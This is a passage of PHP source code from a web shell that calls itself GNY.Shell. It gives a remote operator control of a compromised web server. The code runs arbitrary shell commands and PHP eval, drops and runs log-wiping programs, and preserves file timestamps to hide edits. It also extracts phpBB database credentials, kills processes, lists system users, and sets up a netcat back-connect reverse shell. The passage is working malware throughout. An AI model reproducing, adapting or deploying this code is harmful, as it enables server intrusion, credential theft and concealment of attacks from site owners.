\";
$act = \'ls\';
}
if ($act == \'delete\')
{
$delerr = \'\';
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result)
$delerr .= \'Can\\\'t delete \'.htmlspecialchars($v).\' \';
}
if (!empty($delerr))
echo \'Deleting with errors: \'.$delerr;
$act = \'ls\';
}
if (!$usefsbuff)
{
if (($act == \"paste\") or ($act == \"copy\") or ($act == \"cut\") or ($act == \"unselect\")) {echo \"Sorry, buffer is disabled. For enable, set directive \\\"\\$useFSbuff\\\" as TRUE.\";}
}
else
{
if ($act == \"copy\") {$err = \"\"; $sess_data[\"copy\"] = array_merge($sess_data[\"copy\"],$actbox); sess_put($sess_data); $act = \"ls\"; }
elseif ($act == \"cut\") {$sess_data[\"cut\"] = array_merge($sess_data[\"cut\"],$actbox); sess_put($sess_data); $act = \"ls\";}
elseif ($act == \"unselect\") {foreach ($sess_data[\"copy\"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data[\"copy\"][$k]);}} foreach ($sess_data[\"cut\"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data[\"cut\"][$k]);}} sess_put($sess_data); $act = \"ls\";}
if ($actemptybuff) {$sess_data[\"copy\"] = $sess_data[\"cut\"] = array(); sess_put($sess_data);}
elseif ($actpastebuff)
{
$psterr = \"\";
foreach($sess_data[\"copy\"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= \"Can\'t copy \".$v.\" to \".$to.\"! \";}
if ($copy_unset) {unset($sess_data[\"copy\"][$k]);}
}
foreach($sess_data[\"cut\"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"! \";}
unset($sess_data[\"cut\"][$k]);
}
sess_put($sess_data);
if (!empty($psterr)) {echo \"Pasting with errors: \".$psterr;}
$act = \"ls\";
}
elseif ($actarcbuff)
{
$arcerr = \"\";
if (substr($actarcbuff_path,-7,7) == \".tar.gz\") {$ext = \".tar.gz\";}
else {$ext = \".tar.gz\";}
if ($ext == \".tar.gz\") {$cmdline = \"tar cfzv\";}
$cmdline .= \" \".$actarcbuff_path;
$objects = array_merge($sess_data[\"copy\"],$sess_data[\"cut\"]);
foreach($objects as $v)
{
$v = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v))
{
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= \"*\";
}
$cmdline .= \" \".$v;
}
$tmp = realpath(\".\");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= \"Can\'t call archivator (\".htmlspecialchars(str2mini($cmdline,60)).\")! \";}
$ret = str_replace(\"\\r\\n\",\"\\n\",$ret);
$ret = explode(\"\\n\",$ret);
if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\"copy\"][$k]);}}
foreach($sess_data[\"cut\"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data[\"cut\"][$k]);
}
sess_put($sess_data);
if (!empty($arcerr)) {echo \"Archivation errors: \".$arcerr;}
$act = \"ls\";
}
elseif ($actpastebuff)
{
$psterr = \"\";
foreach($sess_data[\"copy\"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= \"Can\'t copy \".$v.\" to \".$to.\"! \";}
if ($copy_unset) {unset($sess_data[\"copy\"][$k]);}
}
foreach($sess_data[\"cut\"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"! \";}
unset($sess_data[\"cut\"][$k]);
}
sess_put($sess_data);
if (!empty($psterr)) {echo \"Pasting with errors: \".$psterr;}
$act = \"ls\";
}
}
// the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successful
if ($act == \'zap2\') { // *nix cleaner
if (is_writable(\'.\')) {
cf($act, $$act); // \'tis pure innovation of optimization :)
chmod($act, 0777);
$cmd = \'./\'.$act; // keep this before $act = \'cmd\';
$act = \'cmd\';
$cmd_txt = \'1\';
}else{
echo \'Directory Is Not Writable! \';
}
}
if ($act == \'clearlogs\') { // windows cleaners
if (is_writable(\'.\')) {
cf($act.\'.exe\', $$act);
chmod($act.\'.exe\', 0777);
$cmd = $act.\'.exe\';
$act = \'cmd\';
$cmd_txt = \'1\';
}else{
echo \'Directory Is Not Writable! \';
}
}
if ($act == \'cmd\')
{
if (trim($cmd) == \"ps -aux\")
$act = \'processes\';
else {
@chdir($chdir);
if (!empty($submit))
{
echo \"Result of execution this command: \";
$olddir = realpath(\".\");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,\"d\",\"w\");
if ($cmd_txt)
{
$rows = count(explode(\"\\r\\n\",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo \" \";
}
else {echo $ret.\" \";}
@chdir($olddir);
}
else {echo \"Execution command\"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo \"\";
}
}
if ($act == \'ls\')
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo \"Can\'t open folder (\".htmlspecialchars($d).\")!\";}
else
{
//Building array
$objects = array();
$vd = \"f\"; //Viewing mode
if ($vd == \"f\")
{
$objects[\"head\"] = array();
$objects[\"folders\"] = array();
$objects[\"links\"] = array();
$objects[\"files\"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == \".\") {$row[] = $d.$o; $row[] = \"LINK\";}
elseif ($o == \"..\") {$row[] = $d.$o; $row[] = \"LINK\";}
elseif (is_dir($v))
{
if (is_link($v)) {$type = \"LINK\";}
else {$type = \"DIR\";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win)
{
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow[\"name\"]?$ow[\"name\"]:fileowner($v)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == \".\") or ($o == \"..\")) {$objects[\"head\"][] = $row;}
elseif (is_link($v)) {$objects[\"links\"][] = $row;}
elseif (is_dir($v)) {$objects[\"folders\"][] = $row;}
elseif (is_file($v)) {$objects[\"files\"][] = $row;}
$i++;
}
$row = array();
$row[] = \'Name\';
$row[] = \'Size\';
$row[] = \'Modify\';
if (!$win)
$row[] = \'Owner/Group\';
$row[] = \'Perms\';
$row[] = \'Action\';
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != \"a\") {$parsesort[1] = \"d\";}
$y = \"\";
$y .= ($parsesort[1] == \"a\"?\" [asc]\":\" [desc]\");
$row[$k] .= $y;
for($i=0;$i\".$row[$i].\"\";}
}
$v = $parsesort[0];
usort($objects[\"folders\"], \"tabsort\");
usort($objects[\"links\"], \"tabsort\");
usort($objects[\"files\"], \"tabsort\");
if ($parsesort[1] == \"d\")
{
$objects[\"folders\"] = array_reverse($objects[\"folders\"]);
$objects[\"files\"] = array_reverse($objects[\"files\"]);
}
$objects = array_merge($objects[\"head\"],$objects[\"folders\"],$objects[\"links\"],$objects[\"files\"]);
$tab = array();
$tab[\"cols\"] = array($row);
$tab[\"head\"] = array();
$tab[\"folders\"] = array();
$tab[\"links\"] = array();
$tab[\"files\"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data[\"cut\"])) {$disppath = \"\".$disppath.\"\";}
elseif (in_array($v,$sess_data[\"copy\"])) {$disppath = \"\".$disppath.\"\";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo \"Warning! Configuration error in \\$regxp_highlight[\".$k.\"][0] - unknown command.\"; GNYexit();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = \"\"; $r[3] = \"\";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == \".\")
{
$row[] = \"\".$o.\"\";
$row[] = \"LINK\";
}
elseif ($o == \"..\")
{
$row[] = \"\".$o.\"\";
$row[] = \"LINK\";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= \" => \".readlink($v);
$type = \"LINK\";
$row[] = \"[\".$disppath.\"]\";
}
else
{
$type = \"DIR\";
$row[] = \"[\".$disppath.\"]\";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(\".\",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = \" \".$disppath.\"\";
$row[] = view_size($a[1]);
}
$row[] = date(\"d.m.Y H:i:s\",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = \"\".view_perms_color($v).\"\";
if ($o == \".\") {$checkbox = \"\"; $i--;}
else {$checkbox = \"\";}
if (is_dir($v)) {$row[] = \"[info] \".$checkbox;}
else {$row[] = \"[info] [change] [download] \".$checkbox;}
if (($o == \".\") or ($o == \"..\")) {$tab[\"head\"][] = $row;}
elseif (is_link($v)) {$tab[\"links\"][] = $row;}
elseif (is_dir($v)) {$tab[\"folders\"][] = $row;}
elseif (is_file($v)) {$tab[\"files\"][] = $row;}
$i++;
}
}
// Compiling table
$table = array_merge($tab[\"cols\"],$tab[\"head\"],$tab[\"folders\"],$tab[\"links\"],$tab[\"files\"]);
echo \"Listing folder (\".count($tab[\"files\"]).\" files and \".(count($tab[\"folders\"])+count($tab[\"links\"])).\" folders):
\";
if (count(array_merge($sess_data[\"copy\"],$sess_data[\"cut\"])) > 0 and ($usefsbuff))
{
echo \" \";
}
echo \" \';
}
}
if ($act == \'processes\')
{
echo \"Processes: \";
if (!$win) {$handler = \"ps -aux\".($grep?\" | grep \'\".addslashes($grep).\"\'\":\"\");}
else {$handler = \"tasklist\";}
$ret = myshellexec($handler);
if (!$ret) {echo \"Can\'t execute \\\"\".$handler.\"\\\"!\";}
else
{
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != \"a\") {$y = \" [sort]\";}
else {$y = \" [sort]\";}
$ret = htmlspecialchars($ret);
if (!$win)
{
if ($pid)
{
if (is_null($sig)) {$sig = 9;}
echo \"Sending signal \".$sig.\" to #\".$pid.\"... \";
if (posix_kill($pid,$sig)) {echo \"OK.\";}
else {echo \"ERROR.\";}
}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\" \",$ret);}
$stack = explode(\"\\n\",$ret);
$head = explode(\" \",$stack[0]);
unset($stack[0]);
for($i=0;$i\".$head[$i].\"\";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo \"\";
$line = explode(\" \",$line);
$line[10] = join(\" \",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = \"\".$line[0].\"\";}
$line[] = \"KILL\";
$prcs[] = $line;
echo \" \";
}
}
}
else
{
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\"\",$ret)) {$ret = str_replace(\"\",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
$ret = convert_cyr_string($ret,\"d\",\"w\");
$stack = explode(\"\\n\",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$head = explode(\"\",$stack[0]);
$head[1] = explode(\" \",$head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack,1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != \"a\") {$y = \" [sort]\";}
else {$y = \" [sort]\";}
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i\".trim($head[$i]).\"\";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo \"\";
$line = explode(\"\",$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace(\" \",\"\",$line[2]))*1024;
$prcs[] = $line;
echo \" \";
}
}
}
$head[$k] = \"\".$head[$k].\"\".$y;
$v = $processes_sort[0];
usort($prcs,\"tabsort\");
if ($processes_sort[1] == \"d\") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo \"\";
foreach($tab as $i=>$k)
{
echo \"\";
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo \"| \".$v.\" | \";}
echo \" \";
}
echo \" \";
}
}
if ($act == \"eval\")
{
if (!empty($eval))
{
echo \"Result of execution this PHP-code: \";
$tmp = ob_get_contents();
$olddir = realpath(\".\");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,\"d\",\"w\");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode(\"\\r\\n\",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo \" \";
}
else {echo $ret.\" \";}
}
else
{
if ($eval_txt)
{
echo \" \";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo \"Execute PHP-code\"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo \"\";
}
if ($act == \'f\')
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != \"edit\")
{
if (file_exists($d.$f)) {echo \"Permision denied (\".htmlspecialchars($d.$f).\")!\";}
else {echo \"File does not exists (\".htmlspecialchars($d.$f).\")! Create\";}
}
else
{
$r = @file_get_contents($d.$f);
$ext = explode(\".\",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = \"\";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi(\"sess_(.*)\",$f)) {$rft = \"phpsess\";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array(\'[info]\',\'info\'),
array(\'[rename]\',\'rename\'),
array(\'[html]\',\'html\'),
array(\'[txt]\',\'txt\'),
array(\'[code]\',\'code\'),
array(\'[session]\',\'phpsess\'),
array(\'[exe]\',\'exe\'),
array(\'[sdb]\',\'sdb\'),
array(\'[img]\',\'img\'),
array(\'[ini]\',\'ini\'),
array(\'[download]\',\'download\'),
array(\'[notepad]\',\'notepad\'),
array(\'[edit]\',\'edit\')
);
echo \"Viewing file: \".$f.\" (\".view_size(filesize($d.$f)).\") \".view_perms_color($d.$f).\" Select action/file-type: \";
foreach($arr as $t)
{
if ($t[1] == $rft) {echo \" \".$t[0].\"\";}
elseif ($t[1] == $ft) {echo \" \".$t[0].\"\";}
else {echo \" \".$t[0].\"\";}
echo \" (+) |\";
}
echo \" \";
if ($ft == \"info\")
{
echo \"Information:| Path | \".$d.$f.\" | | Size | \".view_size(filesize($d.$f)).\" | | MD5 | \".md5_file($d.$f).\" | \";
if (!$win)
{
echo \"| Owner/Group | \";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow[\"name\"]?$ow[\"name\"]:fileowner($d.$f)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($d.$f));
}
echo \" | | Perms | \".view_perms_color($d.$f).\" | | Create time | \".date(\"d/m/Y H:i:s\",filectime($d.$f)).\" | | Access time | \".date(\"d/m/Y H:i:s\",fileatime($d.$f)).\" | | MODIFY time | \".date(\"d/m/Y H:i:s\",filemtime($d.$f)).\" |
\";
$fi = fopen($d.$f,\"rb\");
if ($fi)
{
if ($fullhexdump) {echo \"FULL HEXDUMP\"; $str = fread($fi,filesize($d.$f));}
else {echo \"HEXDUMP PREVIEW\"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = \"00000000 \";
$a1 = \"\";
$a2 = \"\";
for ($i=0; $i0\"; break;
case 32:
case 10:
case 13: $a2 .= \" \"; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf(\"%08X\",$i+1).\" \";}
$a1 .= \" \";
$a2 .= \" \";
}
}
//if ($a1 != \"\") {$a0 .= sprintf(\"%08X\",$i).\" \";}
echo \"| \".$a0.\" | \".$a1.\" | \".$a2.\" |
\";
}
$encoded = \"\";
if ($base64 == 1)
{
echo \"Base64 Encode \";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2)
{
echo \"Base64 Encode + Chunk \";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
}
elseif($base64 == 3)
{
echo \"Base64 Encode + Chunk + Quotes \";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace(\"!.{1,76}!\",\"\'\\\\0\'.\\n\",$encoded),0,-2);
}
elseif($base64 == 4)
{
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo \"Base64 Decode\";
if (base64_encode($encoded) != $text) {echo \" (failed)\";}
echo \" \";
}
if (!empty($encoded))
{
echo \"
\";
}
echo \"HEXDUMP: [Full] [Preview] Base64:
[Encode]
[+chunk]
[+chunk+quotes]
[Decode]
\";
}
elseif ($ft == \"html\")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {GNYexit();}
}
elseif ($ft == \"txt\") {echo \" \".htmlspecialchars($r).\" \";}
elseif ($ft == \"ini\") {echo \"\"; var_dump(parse_ini_file($d.$f,TRUE)); echo \" \";}
elseif ($ft == \"rename\") { echo \'
\';
if (isset($_GET[\'name\'])) {
rename($d.$f, $d.$_GET[\'name\']);
if (file_exists($d.$_GET[\'name\'])) {
echo \'\'.$f.\' renamed \'.$_GET[\'name\'].\' successfully.\';
}else{
echo \'Error renaming file (incorrect permissions?)\';
}
}
}
elseif ($ft == \"phpsess\")
{
echo \"\";
$v = explode(\"|\",$r);
echo $v[0].\" \";
var_dump(unserialize($v[1]));
echo \" \";
}
elseif ($ft == \"exe\")
{
$ext = explode(\".\",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = \"\";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace(\"%f%\",$f,$rft);
echo \"Execute file:\";
}
elseif ($ft == \"sdb\") {echo \"\"; var_dump(unserialize(base64_decode($r))); echo \" \";}
elseif ($ft == \"code\")
{
if (ereg(\"php\".\"BB 2.(.*) auto-generated config file\",$r))
{
$arr = explode(\"\\n\",$r);
if (count($arr == 18))
{
include($d.$f);
echo \"phpBB configuration is detected in this file! \";
if ($dbms == \"mysql4\") {$dbms = \"mysql\";}
if ($dbms == \"mysql\") {echo \"Connect to DB
\";}
else {echo \"You cannot connect to forum database, because the database software of \\\"\".$dbms.\"\\\" is not supported by GNY.Shell\";}
echo \"Parameters for manual connect: \";
$cfgvars = array(\"dbms\"=>$dbms,\"dbhost\"=>$dbhost,\"dbname\"=>$dbname,\"dbuser\"=>$dbuser,\"dbpasswd\"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k).\"=\'\".htmlspecialchars($v).\"\' \";}
echo \" \";
}
}
echo \"\";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {GNYexit();}
echo \" \";
}
elseif ($ft == \"download\")
{
@ob_clean();
header(\"Content-type: application/octet-stream\");
header(\"Content-length: \".filesize($d.$f));
header(\"Content-disposition: attachment; filename=\\\"\".$f.\"\\\";\");
echo $r;
exit;
}
elseif ($ft == \'notepad\')
{
@ob_clean();
header(\"Content-type: text/plain\");
header(\"Content-disposition: attachment; filename=\\\"\".$f.\".txt\\\";\");
echo($r);
exit;
}
elseif ($ft == \'img\')
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo \"Size: \";
$sizes = array(\"100\",\"50\",\"20\");
foreach ($sizes as $v)
{
echo \"\";
if ($imgsize != $v ) {echo $v;}
else {echo \"\".$v.\"\";}
echo \"% \";
}
echo \"
\";
}
else
{
@ob_clean();
$ext = explode($f,\".\");
$ext = $ext[count($ext)-1];
header(\"Content-type: \".$inf[\"mime\"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == \'edit\')
{
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,\"w\");
if (!$fp) {echo \"Can\'t write to file!\";}
else
{
echo \'Saved!\';
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode(\"\\r\\n\",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo \"\";
}
elseif (!empty($ft)) {echo \"Manually selected type is incorrect.\";}
else {echo \"Unknown extension (\".$ext.\"), please, select type manually.\";}
}
}
}
else
{
@ob_clean();
//For simple size- and speed-optimization.
$imgequals = array(
\"ext_tar\"=>array(\"ext_tar\",\"ext_r00\",\"ext_ace\",\"ext_arj\",\"ext_bz\",\"ext_bz2\",\"ext_tbz\",\"ext_tbz2\",\"ext_tgz\",\"ext_uu\",\"ext_xxe\",\"ext_zip\",\"ext_cab\",\"ext_gz\",\"ext_iso\",\"ext_lha\",\"ext_lzh\",\"ext_pbk\",\"ext_rar\",\"ext_uuf\"),
\"ext_php\"=>array(\"ext_php\",\"ext_php3\",\"ext_php4\",\"ext_php5\",\"ext_phtml\",\"ext_shtml\",\"ext_htm\"),
\"ext_jpg\"=>array(\"ext_jpg\",\"ext_gif\",\"ext_png\",\"ext_jpeg\",\"ext_jfif\",\"ext_jpe\",\"ext_bmp\",\"ext_ico\",\"ext_tif\",\"tiff\"),
\"ext_html\"=>array(\"ext_html\",\"ext_htm\"),
\"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi\",\"ext_mpg\",\"ext_mpeg\",\"ext_wmv\",\"ext_rm\"),
\"ext_lnk\"=>array(\"ext_lnk\",\"ext_url\"),
\"ext_ini\"=>array(\"ext_ini\",\"ext_css\",\"ext_inf\"),
\"ext_doc\"=>array(\"ext_doc\",\"ext_dot\"),
\"ext_js\"=>array(\"ext_js\",\"ext_vbs\"),
\"ext_cmd\"=>array(\"ext_cmd\",\"ext_bat\",\"ext_pif\"),
\"ext_wri\"=>array(\"ext_wri\",\"ext_rtf\"),
\"ext_swf\"=>array(\"ext_swf\",\"ext_fla\"),
\"ext_mp3\"=>array(\"ext_mp3\",\"ext_au\",\"ext_midi\",\"ext_mid\"),
\"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd\",\"ext_ht\",\"ext_hta\",\"ext_so\")
);
if (!$getall)
{
header(\"Content-type: image/gif\");
header(\"Cache-control: public\");
header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));
header(\"Cache-control: max-age=\".(60*60*24*7));
header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img])) {$img = \"small_unk\";}
if (in_array($img,$ext_tar)) {$img = \"ext_tar\";}
echo base64_decode($images[$img]);
}
else
{
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo(\"Warning! Remove \\$images[\".$d.\"] \");}}}}
natsort($images);
$k = array_keys($images);
echo \"\";
foreach ($k as $u) {echo \'[\'.$u.\'] \';}
echo \"\";
}
exit;
}
if ($act == \'backc\')
{
$ip = $_SERVER[\"REMOTE_ADDR\"];
$msg = $_POST[\'backcconnmsg\'];
$emsg = $_POST[\'backcconnmsge\'];
echo(\'Back-Connection:First, run NetCat on your computer using \\\'nc -l -n -v -p \'.$bc_port.\'\\\'. Then, click \"Connect\" once the port is listening.\');
echo $msg;
echo $emsg;
}
if ($act == \'rip\') {
?>
\';
foreach($users as $user) {
$user = explode(\':\', $user);
echo \'| \'.$user[0].\' | \'.$user[5].\' | \';
}
echo \' |